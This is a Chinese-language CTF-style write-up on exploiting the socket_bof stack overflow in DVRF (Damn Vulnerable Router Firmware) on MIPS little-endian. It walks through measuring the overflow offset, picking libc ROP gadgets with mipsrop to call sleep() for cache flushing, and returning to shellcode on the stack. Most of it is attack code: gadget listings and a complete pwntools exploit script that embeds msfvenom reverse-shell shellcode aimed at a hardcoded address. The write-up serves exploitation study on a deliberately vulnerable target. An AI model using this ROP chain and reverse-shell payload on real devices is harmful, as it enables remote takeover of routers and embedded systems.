DVRF socket_bof

前言:

摸了2天🐟把这个看了一下,第一天本来能够出的,结果找的gadget卡在sw语句不执行了,gdb爆warning can't find the start of the function at xxx,网络上说是无法访问共享库的问题😓;
第二天重新找了几个gadget结果最后又出现同样的问题,最后又重新找了几个gadget尽可能简化了操作数才打通

概述:

本题溢出点存在于sprintf函数拼接变量v10长度超过v11缓冲区大小,可以导致v11栈溢出
本题数据传输通过socket,bash脚本指定端口初始化如下

#! /bin/bash
cp $(which qemu-mipsel-static) ./q
./q  -L ./ -g 1234  ./socket_bof "9999"

最开始我们gdb-multiarch remote到1234端口后在程序建立监听的函数后下断点c过去,然后使用cyclic脚本测算偏移,脚本如下:

from pwn import *
context(log_level='debug',arch='mips',endian='little',bits=32)

io=remote("127.0.0.1",9999)

io.recvuntil(b"Send Me Bytes:")

payload=cyclic(0x300)

io.sendline(payload)

io.interactive()

可以测出偏移为51

然后我们就可以着手exp的编写
为了绕过MIPS架构的缓存不一致性,我们需要主动调用sleep()来使写入的shellcode从D-Cache刷新到I-Cache,所以exp编写流程与前文不同
大致流程:

1.确保能溢出到$ra
2.寻找gadget将$a0值设为1,即sleep的参数
3.寻找gadget执行libc中的sleep并能够返回到下一个gadget
4.寻找gadget将包含shellcode的栈地址储存到寄存器中
5.寻找gadget将寄存器值赋值到跳转语句寄存器上跳转到栈上的正确位置执行shellcode

gadgets查找:

首先是找给$a0寄存器赋值为1的

Found 45 matching gadgets
Python>mipsrop.find("li $a0,1")
----------------------------------------------------------------------------------------------------------------
|  Address     |  Action                                              |  Control Jump                          |
----------------------------------------------------------------------------------------------------------------
|  0x00018AA8  |  li $a0,1                                            |  jalr  $s3                             |
|  0x0002FB10  |  li $a0,1                                            |  jalr  $s1                             |
|  0x00012D3C  |  li $a0,1                                            |  jr    0x20+var_s0($sp)                |
|  0x00022420  |  li $a0,1                                            |  jr    0x18+var_s8($sp)                |
|  0x0002A9C8  |  li $a0,1                                            |  jr    0x18+var_s4($sp)                |
----------------------------------------------------------------------------------------------------------------
Found 5 matching gadgets

这里我们采用偏移为0x2FB10的gadget0

.text:0002FB10 01 00 04 24                   li      $a0, 1
.text:0002FB14 21 C8 20 02                   move    $t9, $s1
.text:0002FB18 09 F8 20 03                   jalr    $t9 ; sub_2F818

我们需要找到一个能够对$s1赋值的gadget1,查找

Python>mipsrop.find("lw $s1")

可以找到0x7730处的gadget1,并且这里还可以控制一些其它寄存器

.text:00007730 28 00 BF 8F                   lw      $ra, 0x18+var_s10($sp)
.text:00007734 24 00 B3 8F                   lw      $s3, 0x18+var_sC($sp)
.text:00007738 20 00 B2 8F                   lw      $s2, 0x18+var_s8($sp)
.text:0000773C 1C 00 B1 8F                   lw      $s1, 0x18+var_s4($sp)
.text:00007740 18 00 B0 8F                   lw      $s0, 0x18+var_s0($sp)
.text:00007744 08 00 E0 03                   jr      $ra

到此处位置,我们需要在执行完sleep后继续执行shellcode的话,需要一个利用$ra除外寄存器跳转的并且可以写$ra的gadget2,继续查找

Python>mipsrop.tail()
----------------------------------------------------------------------------------------------------------------
|  Address     |  Action                                              |  Control Jump                          |
----------------------------------------------------------------------------------------------------------------
|  0x0001E03C  |  move $t9,$s1                                        |  jr    $s1                             |
|  0x0001F07C  |  move $t9,$a1                                        |  jr    $a1                             |
|  0x0001F2C0  |  move $t9,$s0                                        |  jr    $s0                             |
|  0x0001FBCC  |  move $t9,$a1                                        |  jr    $a1                             |
|  0x000201F4  |  move $t9,$s0                                        |  jr    $s0                             |
|  0x00020F1C  |  move $t9,$s2                                        |  jr    $s2                             |
|  0x00020FE4  |  move $t9,$s2                                        |  jr    $s2                             |
|  0x00021200  |  move $t9,$s2                                        |  jr    $s2                             |
|  0x00021C34  |  move $t9,$s3                                        |  jr    $s3                             |
|  0x00022E94  |  move $t9,$s1                                        |  jr    $s1                             |
|  0x0002313C  |  move $t9,$s0                                        |  jr    $s0                             |
|  0x000267B4  |  move $t9,$s0                                        |  jr    $s0                             |
|  0x00033AF4  |  move $t9,$s0                                        |  jr    $s0                             |
----------------------------------------------------------------------------------------------------------------
Found 13 matching gadgets

我们使用偏移0x20F1C处的gadget2,不仅能够给$ra寄存器赋值,也能用gadget1控制$s2值进行跳转

.text:00020F1C 21 C8 40 02                   move    $t9, $s2
.text:00020F20 24 00 BF 8F                   lw      $ra, 0x18+var_sC($sp)
.text:00020F24 20 00 B2 8F                   lw      $s2, 0x18+var_s8($sp)
.text:00020F28 1C 00 B1 8F                   lw      $s1, 0x18+var_s4($sp)
.text:00020F2C 18 00 B0 8F                   lw      $s0, 0x18+var_s0($sp)
.text:00020F30 08 00 20 03                   jr      $t9

我们可以通过jr $t9跳转到sleep函数中,我们只需要通过gadget2控制$ra为shellcode的栈地址即可,我们可以通过mipsrop.stackfinder()查找,这个指令是查找将栈地址存入寄存器的gadget,找到偏移0x16DD0处的gadget3

.text:00016DD0 18 00 A4 27                   addiu   $a0, $sp, 0x38+var_20
.text:00016DD4 21 C8 00 02                   move    $t9, $s0
.text:00016DD8 09 F8 20 03                   jalr    $t9

此处通过控制$s0进一步控制$t9,而$s0我们在gadget2中即可控制,那么我们要跳转到shellcode所在栈地址上,则需要将$a0值存入$t9,所以我们这里控制$s0的值为下一个gadget4,查找

Python>mipsrop.find("move $t9,$a0")
----------------------------------------------------------------------------------------------------------------
|  Address     |  Action                                              |  Control Jump                          |
----------------------------------------------------------------------------------------------------------------
|  0x000214A0  |  move $t9,$a0                                        |  jalr  $a0                             |
----------------------------------------------------------------------------------------------------------------
Found 1 matching gadgets

偏移0x214A0处的gadget4满足我们的需求

.text:000214A0 21 C8 80 00                   move    $t9, $a0
.text:000214A4 18 00 A2 AF                   sw      $v0, 0x30+var_18($sp)
.text:000214A8 09 F8 20 03                   jalr    $t9

所以到目前为止我们梳理一遍思路,可以得出下面的大致流程:

gadget1->gadget0-gadget2->sleep()->gadget3->gadget4->shellcode

可以根据这个流程大致写出payload然后gdb调试
在本机上运行的时候,发现在gadget2上填充padding的时候,需要额外填充0x4字节的数据才能正常给对应寄存器赋值
msfvenom生成shellcode的时候注意指定LHOSTLPORT

exp:

from pwn import *
context(log_level='debug',arch='mips',endian='little',bits=32)

io=remote("127.0.0.1",9999)

libc_base=0x3fecd000
sleep_func=0x2f2b0+libc_base


# msfvenom -p linux/mipsle/shell_reverse_tcp --arch mipsle --platform linux -f py --bad-chars '\x00'
buf =  b""
buf += b"\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21"
buf += b"\xfd\xff\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24"
buf += b"\x0c\x01\x01\x01\xff\xff\xa2\xaf\xff\xff\xa4\x8f"
buf += b"\xfd\xff\x0f\x34\x27\x78\xe0\x01\xe2\xff\xaf\xaf"
buf += b"\x11\x5c\x0e\x3c\x11\x5c\xce\x35\xe4\xff\xae\xaf"
buf += b"\xf7\x83\x0e\x3c\xc0\xa8\xce\x35\xe6\xff\xae\xaf"
buf += b"\xe2\xff\xa5\x27\xef\xff\x0c\x24\x27\x30\x80\x01"
buf += b"\x4a\x10\x02\x24\x0c\x01\x01\x01\xfd\xff\x11\x24"
buf += b"\x27\x88\x20\x02\xff\xff\xa4\x8f\x21\x28\x20\x02"
buf += b"\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff\xff\x10\x24"
buf += b"\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff\x06\x28"
buf += b"\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf\xaf"
buf += b"\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf"
buf += b"\xf4\xff\xa0\xaf\xec\xff\xa4\x27\xf8\xff\xa4\xaf"
buf += b"\xfc\xff\xa0\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24"
buf += b"\x0c\x01\x01\x01"
shellcode=buf


gadget0=0x2FB10+libc_base
# .text:0002FB10 01 00 04 24                   li      $a0, 1
# .text:0002FB14 21 C8 20 02                   move    $t9, $s1
# .text:0002FB18 09 F8 20 03                   jalr    $t9 ; sub_2F818


gadget1=0x7730+libc_base
# .text:00007730 28 00 BF 8F                   lw      $ra, 0x18+var_s10($sp)
# .text:00007734 24 00 B3 8F                   lw      $s3, 0x18+var_sC($sp)
# .text:00007738 20 00 B2 8F                   lw      $s2, 0x18+var_s8($sp)
# .text:0000773C 1C 00 B1 8F                   lw      $s1, 0x18+var_s4($sp)
# .text:00007740 18 00 B0 8F                   lw      $s0, 0x18+var_s0($sp)
# .text:00007744 08 00 E0 03                   jr      $ra


gadget2=0x20F1C+libc_base
# .text:00020F1C 21 C8 40 02                   move    $t9, $s2
# .text:00020F20 24 00 BF 8F                   lw      $ra, 0x18+var_sC($sp)
# .text:00020F24 20 00 B2 8F                   lw      $s2, 0x18+var_s8($sp)
# .text:00020F28 1C 00 B1 8F                   lw      $s1, 0x18+var_s4($sp)
# .text:00020F2C 18 00 B0 8F                   lw      $s0, 0x18+var_s0($sp)
# .text:00020F30 08 00 20 03                   jr      $t9


gadget3=0x16DD0+libc_base
# .text:00016DD0 18 00 A4 27                   addiu   $a0, $sp, 0x38+var_20
# .text:00016DD4 21 C8 00 02                   move    $t9, $s0
# .text:00016DD8 09 F8 20 03                   jalr    $t9


gadget4=0x214A0+libc_base
# .text:000214A0 21 C8 80 00                   move    $t9, $a0
# .text:000214A4 18 00 A2 AF                   sw      $v0, 0x30+var_18($sp)
# .text:000214A8 09 F8 20 03                   jalr    $t9


#stack for gadget1
payload=b"a"*51 #padding
payload+=p32(gadget1) # $ra0->gadget1
payload+=b"a"*0x18 #padding
payload+=b"aaaa" # $s0
payload+=p32(gadget2) # $s1->gadget2
payload+=p32(sleep_func) # $s2->sleep_func
payload+=b"aaaa" #padding
payload+=p32(gadget0) # $ra1->gadget0


#stack for gadget2
payload+=b"a"*0x1c #padding
payload+=p32(gadget4) # $s0->gadget
payload+=b"aaaa"*2 #padding
payload+=p32(gadget3) # $ra2->gadget3

# gadget1->gadget0->gadget2->sleep(1)->gadget3->gadget4

#stack for shellcode
payload+=b"a"*0x18
payload+=shellcode

io.recvuntil(b"Send Me Bytes:")

io.sendline(payload)

io.interactive()